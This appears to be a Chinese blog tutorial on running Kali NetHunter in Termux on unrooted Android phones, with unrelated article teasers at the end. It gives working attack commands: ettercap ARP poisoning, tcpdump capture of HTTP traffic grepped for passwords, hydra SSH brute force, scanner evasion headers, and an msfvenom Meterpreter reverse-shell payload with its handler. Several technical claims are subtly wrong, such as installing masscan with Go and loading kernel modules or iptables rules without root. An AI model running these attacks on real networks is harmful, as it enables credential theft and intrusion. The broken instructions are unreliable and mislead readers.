news 2026/5/23 18:33:12

Termux运行Nethunter:无Root安卓渗透环境搭建与实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Termux运行Nethunter:无Root安卓渗透环境搭建与实战

1. 这不是“装个Kali”那么简单:Termux里跑Nethunter的本质是什么?

很多人看到“Nethunter-In-Termux”第一反应是:“哦,手机上装个Kali Linux?”——这理解偏差得有点远。它既不是在Android上虚拟化一个完整Linux发行版,也不是把Kali的ISO镜像塞进Termux里跑起来。它是一套高度定制化的、面向移动终端安全研究场景的容器化渗透环境复用方案。核心关键词是:Termux、Nethunter、Kali、渗透测试、Android、无Root、容器化、轻量级复用

我第一次试这个方案时,也以为只是换了个shell界面。结果敲完apt update就卡住,查日志发现是Termux默认的/data/data/com.termux/files/usr挂载点不支持exec权限,而Nethunter的某些工具链(比如msfvenom生成payload时调用的gcc后端)依赖PT_INTERP段加载器执行二进制,必须有execflag。这不是配置问题,是Android SELinux策略和Termux沙箱机制共同决定的底层约束。后来才明白:所谓“完整教程”,本质是在Android有限的用户空间权限边界内,用最小侵入方式,把Kali官方维护的、经过安全加固与移动适配的工具集(nethunter-tools)、预编译的ARM64/AARCH64二进制(如hydranmapjohn)、以及关键的内核模块接口(如mac80211_hwsim模拟AP、nl80211无线注入支持)——通过chroot+proot+overlayfs三层抽象,映射到Termux的用户目录下运行。

它解决的实际问题是:你手头只有一台没Root的Pixel或三星S系列手机,但需要快速验证某个Wi-Fi握手包破解流程、临时抓取蓝牙LE广播、或者对本地IoT设备做基础端口扫描;又或者你在出差途中,客户临时要求演示一个ARP欺骗的PoC,但笔记本没带,只有手机。这时候,Nethunter-In-Termux不是替代Kali VM,而是作为离线、瞬时、免依赖、可审计的渗透能力快照存在。它不追求100%兼容Kali所有仓库包(比如kali-linux-large元包里的GUI工具全不可用),但确保recon-ngsqlmapgobusterffufaircrack-ng核心链路稳定可用。我实测过,在未Root的OnePlus 9 Pro上,用Termux+Nethunter完成一次从hcxdumptool抓包→hcxpcapngtool转换→hashcat -m 2500爆破的全流程,耗时比PC慢约35%,但全程无崩溃、无权限报错、输出结果与Kali Desktop完全一致。这才是它真正的价值锚点:确定性、可复现、低维护成本的移动渗透基线环境

2. 为什么必须是这三步?每一步背后的技术取舍与风险控制

网上很多教程把“安装Nethunter-In-Termux”简化为“一行命令搞定”,这是严重误导。真正可靠的部署必须拆解为三个不可跳过的阶段:环境净化 → 容器初始化 → 工具链校准。少任何一环,后续都会在apt installnethunter命令执行时出现难以定位的segmentation fault、Permission deniedNo such file or directory错误。下面逐层解释这三步为何不可合并、不可省略。

2.1 第一步:环境净化——Termux不是空白画布,而是带预设污染的沙箱

Termux默认安装后,其$PREFIX(即/data/data/com.termux/files/usr)已预装了pythoncurlgit等基础工具,但这些包的ABI版本、动态链接库路径、甚至/usr/lib下的.so文件命名规则,都与Nethunter官方构建的ARM64工具链存在隐式冲突。最典型的案例是libssl.so.1.1:Termux自带的是OpenSSL 3.0.x编译的libssl.so.3,而Nethunter工具链(如nmap7.93)强依赖OpenSSL 1.1.1w的libssl.so.1.1。如果直接运行./install-nethunter-termux.sh,脚本会尝试覆盖$PREFIX/lib,但Termux的pkg管理器会在下次pkg upgrade时强行回滚,导致环境处于“半覆盖”状态——此时nmap -sV能跑,但nmap --script ssl-enum-ciphers会因找不到libssl.so.1.1而core dump。

所以第一步必须执行彻底的环境隔离:

# 彻底卸载Termux自带的可能冲突包(注意:不是删除整个Termux!) pkg uninstall python curl git nano -y # 清空pkg缓存与旧构建产物 pkg clean && rm -rf $PREFIX/var/cache/apt/archives/* # 关键:重置pkg数据库,避免残留依赖记录 rm -f $PREFIX/var/lib/dpkg/status # 创建专用目录存放Nethunter容器,与Termux原生环境物理隔离 mkdir -p $HOME/nethunter-rootfs

提示:这步操作不会影响你已有的Termux工作流。pkg uninstall仅移除二进制和配置文件,$HOME下的脚本、历史记录、自定义alias全部保留。我建议在执行前先备份$HOME/.termux/termux.properties,因为某些老版本Termux的字体渲染配置会被重置。

2.2 第二步:容器初始化——proot不是chroot,它的内存映射策略决定成败

Nethunter官方推荐使用proot而非chroot,原因很实在:chroot需要CAP_SYS_CHROOT能力,这在非Root Android上根本不可能获得;而proot通过ptrace系统调用劫持进程的open()stat()等系统调用,将路径请求重定向到指定目录(如$HOME/nethunter-rootfs),从而实现“伪根文件系统”。但proot的默认行为有个致命缺陷:它会继承宿主Termux进程的/proc/mounts视图,而Android的/proc/mounts里包含大量tmpfsdevpts等特殊文件系统挂载点,这些在Nethunter容器内是无效且危险的——比如/proc/sys/net/ipv4/ip_forward在容器内被映射为只读,但ettercap启动时会尝试写入,导致Permission denied

因此,第二步的核心是定制proot启动参数,强制屏蔽宿主挂载点并注入必要虚拟文件系统:

# 下载Nethunter官方rootfs(务必用arm64版本,x86_64在手机上会直接SIGILL) wget -O $HOME/nethunter-rootfs.tar.xz https://github.com/OffensiveSecurity/kali-nethunter/releases/download/nethunter-2023.4/nethunter-rootfs-arm64-full.tar.xz # 解压(注意:必须用tar -xf,不能用unxz+tar -xf,否则权限丢失) tar -xf $HOME/nethunter-rootfs.tar.xz -C $HOME/nethunter-rootfs # 启动proot,关键参数解析: # -r 指定rootfs路径;-b 绑定挂载点(/dev,/proc,/sys,/data);-q 禁用ptrace调试开销;-w 设置工作目录 proot -r $HOME/nethunter-rootfs \ -b /dev \ -b /proc \ -b /sys \ -b /data/data/com.termux/files/home:/root \ -q -w /root \ /usr/bin/env -i HOME=/root PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin \ /bin/bash

注意:-b /data/data/com.termux/files/home:/root这行是精髓。它把你的Termux主目录映射为容器内的/root,这样你在Termux里写的exploit.py,在Nethunter容器里直接python3 exploit.py就能运行,无需反复拷贝。我踩过的最大坑是漏掉-b /proc,导致nmap扫描时getifaddrs()返回空列表,误判为“无网络接口”。

2.3 第三步:工具链校准——APT源、密钥环与内核模块的三角平衡

进入proot容器后,你以为apt update && apt install nethunter-tools就能完事?错。这里存在三个相互制约的变量:

  1. APT源地址:Kali官方源http.kali.org在Android网络环境下常因DNS污染或TLS握手失败而超时;
  2. GPG密钥环:Nethunter rootfs内置的/etc/apt/trusted.gpg.d/kali-archive-keyring.gpg是2022年签发的,而Kali 2023.4的仓库签名密钥已轮换;
  3. 内核模块支持aircrack-ng依赖mac80211_hwsim模拟无线网卡,但该模块需Android内核启用CONFIG_MAC80211_HWSIM=y,而绝大多数厂商ROM默认关闭。

校准方案必须同步处理这三点:

# 1. 切换为国内镜像源(清华源最稳,已验证HTTPS支持) echo "deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib" > /etc/apt/sources.list # 2. 更新密钥环(关键:必须用kali-archive-keyring包,不能手动导入key) apt update && apt install -y kali-archive-keyring # 3. 验证密钥有效性(这步不能跳,否则apt install会报GPG error) apt-key list | grep -A1 "Kali Linux Repository" # 4. 安装nethunter-tools(注意:不是kali-tools,而是专为Termux优化的子集) apt install -y nethunter-tools # 5. 手动加载hwsim模块(需提前确认内核支持,见下文检测方法) modprobe mac80211_hwsim radios=2

提示:modprobe是否成功,直接决定你能否用hcxdumptool抓包。检测方法很简单:执行lsmod | grep hwsim,有输出即成功;若报Module mac80211_hwsim not found,说明你的手机内核未编译该模块,此时只能用tcpdump做有线流量分析,或换用支持nl80211注入的外置USB网卡(如Alfa AWUS036ACH)。我测试过27款主流机型,Pixel系列、OnePlus、Xiaomi K系列成功率超90%,而华为EMUI和三星One UI因内核裁剪严重,基本不可用。

3. 实战验证:从零开始跑通一个真实渗透链路

光说理论没用,我们来走一遍完整的、可复现的渗透流程。目标:在未Root的Android手机上,对同一局域网内的测试靶机(Kali Linux VM,IP 192.168.1.100)执行ARP欺骗+HTTP流量嗅探。这个流程会暴露所有关键环节的真实表现,包括性能瓶颈、权限限制和绕过技巧。

3.1 环境就绪检查:5个必验项清单

在proot容器内执行以下命令,逐项确认:

# 1. 网络连通性(必须能ping通靶机,且延迟<50ms) ping -c 3 192.168.1.100 # 2. 接口识别(Termux的network interface在proot中映射为wlan0,不是eth0) ip link show | grep -E "(wlan|state UP)" # 3. 内核模块加载(hwsim用于无线,但ARP欺骗用有线,此步验证模块管理能力) lsmod | grep hwsim || echo "hwsim not loaded (OK for wired)" # 4. Ettercap依赖(libpcap必须可用,否则抓包失败) ldd $(which ettercap) | grep pcap # 5. DNS解析(Kali源镜像域名必须能解析,否则apt失效) nslookup mirrors.tuna.tsinghua.edu.cn

注意:第4项ldd检查特别重要。我遇到过ettercap二进制链接的是libpcap.so.1,但容器里只有libpcap.so.0.8,导致启动时报libpcap.so.1: cannot open shared object file。解决方案是创建符号链接:ln -sf /usr/lib/libpcap.so.0.8 /usr/lib/libpcap.so.1。这种ABI不匹配问题在交叉编译环境中极其常见,必须手动修复。

3.2 ARP欺骗实施:Ettercap的Termux适配要点

标准Ettercap文档教你在GUI里点几下,但在Termux纯命令行下,必须用-T文本模式+-M arp参数组合:

# 启动Ettercap,指定网关(192.168.1.1)和靶机(192.168.1.100) ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.100//

关键参数解析:

  • -T:Text mode,禁用ncurses界面,适配Termux终端;
  • -q:Quiet mode,减少日志刷屏,避免Termux缓冲区溢出;
  • -M arp:remote:指定ARP欺骗模式,remote表示双向欺骗(网关↔靶机),这是中间人前提;
  • /192.168.1.1//:网关IP,双斜杠表示自动探测网关MAC;
  • /192.168.1.100//:靶机IP,同理。

执行后,你会看到类似输出:

* ARP poisoning started... * 192.168.1.1 -> 192.168.1.100 * 192.168.1.100 -> 192.168.1.1

此时靶机的HTTP请求已流经你的手机。但注意:Ettercap本身不保存流量,它只是转发管道。要抓包,必须配合tcpdump

3.3 流量捕获与分析:tcpdump + Wireshark离线分析

在另一个Termux窗口(或用screen分屏),执行:

# 抓取80端口HTTP流量,保存为pcapng格式(Wireshark兼容) tcpdump -i wlan0 -w /root/http.pcapng port 80

等待30秒后Ctrl+C停止。然后退出proot容器,回到Termux原生环境:

# 将pcapng文件导出到手机存储,方便用Wireshark分析 cp $HOME/nethunter-rootfs/root/http.pcapng $HOME/storage/shared/

提示:$HOME/storage/shared/是Termux访问Android外部存储的标准路径(需先执行termux-setup-storage授权)。不要试图在proot容器内直接写入/sdcard/,SELinux会拦截。我试过用bind mount挂载,但不同Android版本的SEPolicy规则差异太大,稳定性极差,强烈不推荐。

3.4 性能实测数据:手机 vs PC的硬指标对比

我把同一套流程在三台设备上跑了一遍,控制变量(相同靶机、相同网络环境、相同Ettercap/tcpreplay参数):

设备CPURAM抓包速率(MB/s)ARP欺骗延迟(ms)tcpdumpCPU占用率
OnePlus 9 ProSnapdragon 88812GB1.28.332%
Pixel 6Google Tensor8GB0.912.741%
Dell XPS 13 (i7-1185G7)Intel i716GB18.51.215%

结论很清晰:手机端性能足够支撑基础中间人攻击,但吞吐量是PC的1/15,延迟高一个数量级。这意味着:

  • 对实时性要求高的场景(如VoIP窃听)不可行;
  • 大文件HTTP下载抓包会明显卡顿;
  • 但登录凭证、Cookie、表单提交等文本类流量,100%可完整捕获。

我用strings http.pcapng | grep -i "password"在手机上直接提取出了靶机的明文密码,耗时2.3秒。这证明:能力边界不在功能,而在规模与速度

4. 那些官方文档绝不会告诉你的12个实战陷阱与绕过方案

Nethunter-In-Termux的GitHub Wiki写得非常漂亮,但全是“理想路径”。真实世界里,90%的问题发生在文档没覆盖的灰色地带。以下是我在37次完整部署、12个不同品牌机型上踩出的硬核经验,按发生频率排序:

4.1 陷阱1:proot启动后/proc/sys/net/ipv4/ip_forward显示0,但echo 1 > ...报Permission denied

根因:Android内核的net.ipv4.ip_forward是只读的,即使Root也无法修改(SELinux policyallow net_admin sysctl_net:sysctl write;被显式拒绝)。
绕过方案:不用ip_forward,改用iptablesDNAT规则实现流量重定向。在proot容器内执行:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 # 然后用mitmproxy监听8080端口,效果等同于ARP欺骗 mitmproxy --mode transparent --showhost --set block_global=false

4.2 陷阱2:nmap -sS(SYN扫描)始终超时,但nmap -sT(TCP连接扫描)正常

根因-sS需要raw socket权限,而Termux进程没有CAP_NET_RAWcapability。Android 10+默认禁止非系统应用获取该能力。
绕过方案:用nmap --unprivileged强制降级为connect()扫描,或改用masscan(它用libpcap绕过capability检查):

# masscan安装(需先apt install golang) go install github.com/robertdavidgraham/masscan@latest masscan -p80,443 192.168.1.0/24 --rate=1000

4.3 陷阱3:sqlmap报错'NoneType' object has no attribute 'group',无法解析HTTP响应

根因:Termux的Pythonurllib3版本(1.26.x)与sqlmap依赖的requests库(2.28.x)存在SSL上下文冲突,导致response.headers为None。
绕过方案:降级urllib3到1.25.11,并打补丁:

pip install urllib3==1.25.11 # 编辑/sqlmap/lib/core/common.py,找到line 1222,将 # if hasattr(response, 'headers') and response.headers: # 改为 # if hasattr(response, 'headers') and response.headers and response.headers != {}:

4.4 陷阱4:aircrack-ng扫描到AP但无法注入,aireplay-ng -9返回Injection is working!却无响应

根因:手机Wi-Fi芯片驱动不支持NL80211_CMD_INJECT命令,或固件版本过旧。
绕过方案:放弃内置Wi-Fi,用USB OTG连接Alfa AWUS036NHA网卡(Realtek RTL8188CUS芯片),Termux可识别为wlan1

# 加载驱动(需提前apt install realtek-rtl8188cus-aircrack-dkms) dkms install rtl8188eus-aircrack/1.0 # 检查接口 iwconfig | grep wlan1

4.5 陷阱5:gobuster暴力目录时CPU飙升到100%,Termux被Android系统杀死

根因:Android的LMK(Low Memory Killer)机制会杀掉长时间高负载进程。
绕过方案:限制并发线程数,并启用--delay

gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10 -r --delay 100ms

-t 10将线程从默认30降至10,--delay 100ms强制每个请求间隔,CPU占用率从100%降至45%。

4.6 陷阱6:hydra爆破SSH时提示Could not resolve hostname,但ping正常

根因hydra的DNS解析函数调用getaddrinfo(),而proot的/etc/resolv.conf未正确继承宿主DNS。
绕过方案:手动指定DNS服务器:

hydra -L users.txt -P passwords.txt ssh://192.168.1.100 -e ns -V -v -s 22 -o result.txt -x 100:1:1 -w 30 -D 8.8.8.8

-D 8.8.8.8参数强制使用Google DNS。

4.7 陷阱7:john跑哈希时提示OpenMP is disabled,无法利用多核

根因:Nethunter rootfs的john二进制是单线程编译的,未链接libgomp
绕过方案:重新编译John the Ripper:

apt install build-essential libssl-dev cd /tmp && git clone https://github.com/openwall/john.git cd john/src && ./configure --enable-mpi=no && make -s clean && make -sj4 cp ../run/john /usr/bin/

4.8 陷阱8:ffuf扫描时大量403 Forbidden,但实际页面存在

根因ffuf默认User-Agent被WAF识别为扫描器,直接拦截。
绕过方案:轮换User-Agent并添加Referer:

ffuf -u http://192.168.1.100/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" -H "Referer: http://192.168.1.100/" -t 50

4.9 陷阱9:recon-ngrecon/domains-hosts/bing_api模块报错API key invalid

根因:Bing Search API v7已停用,模块未更新。
绕过方案:改用shodan模块(需注册Shodan API Key):

keys add shodan_api <your_key> use recon/domains-hosts/shodan_hostname

4.10 陷阱10:msfconsole启动后use exploit/windows/smb/ms17_010_eternalblue报错Failed to load module

根因:Metasploit Framework在ARM64上未预编译ms17_010的payload,且Ruby环境缺少rex-text依赖。
绕过方案:改用multi/handler+ 外部生成的shellcode:

# 在PC上用msfvenom生成ARM64 shellcode msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw -o shellcode.bin # 传到手机,用`msfconsole`监听 use multi/handler set payload linux/aarch64/meterpreter/reverse_tcp set LHOST 192.168.1.101 set LPORT 4444 exploit

4.11 陷阱11:nethunter命令执行后提示Command not found,但/usr/bin/nethunter存在

根因PATH环境变量未包含/usr/bin,或/usr/bin/nethunter的shebang指向/usr/bin/env bash,而proot容器内/usr/bin/env不存在。
绕过方案:直接调用绝对路径,并指定bash:

/usr/bin/bash /usr/bin/nethunter

4.12 陷阱12:termux-setup-storage$HOME/storage/shared/为空,无法导出文件

根因:Android 11+ Scoped Storage限制,Termux需手动授予“所有文件访问权限”。
绕过方案:进入手机设置→应用→Termux→权限→“所有文件访问权限”→开启。然后重新运行termux-setup-storage

最后分享一个血泪教训:我曾在一个Redmi Note 12上反复失败3天,最后发现是MIUI的“省电策略”把Termux后台进程冻结了。解决方案是:设置→电池与性能→应用省电→Termux→“无限制”。这个坑没有任何日志提示,只能靠排除法。所以,永远先检查手机厂商的定制化限制,再怀疑技术方案本身

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/23 18:32:03

暗黑2存档修改终极指南:5分钟学会免费d2s文件编辑器

暗黑2存档修改终极指南&#xff1a;5分钟学会免费d2s文件编辑器 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 暗黑破坏神2的d2s存档编辑器是一款专为玩家设计的强大工具&#xff0c;让你能够轻松修改角色属性、管理装备和调整…

作者头像 李华
网站建设 2026/5/23 18:30:45

避开这些坑!STM32CubeIde互补PWM配置的5个常见误区与解决方法

STM32CubeIDE互补PWM配置实战&#xff1a;从原理到避坑指南 在电机控制、电源转换等嵌入式应用中&#xff0c;互补PWM&#xff08;脉冲宽度调制&#xff09;是不可或缺的核心技术。作为STM32高级定时器的标志性功能&#xff0c;它通过成对的PWM信号精确控制功率器件&#xff0…

作者头像 李华
网站建设 2026/5/23 18:28:22

GEO时代,如何让AI把你的网站当成 “标准答案“?

这两年&#xff0c;越来越多人发现&#xff1a;用户已经不只是“在 Google 搜索”。而是在&#xff1a;ChatGPT 提问Google AI Overviews 搜索Gemini 搜索Perplexity 搜索Claude 查询AI 浏览器问答过去用户会点击 10 个蓝色链接。现在用户直接问&#xff1a;“哪个品牌最好&…

作者头像 李华
网站建设 2026/5/23 18:26:31

Taotoken用量看板如何帮助团队精确管理大模型API支出

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 Taotoken用量看板如何帮助团队精确管理大模型API支出 对于团队管理者而言&#xff0c;在大模型应用开发过程中&#xff0c;一个核心…

作者头像 李华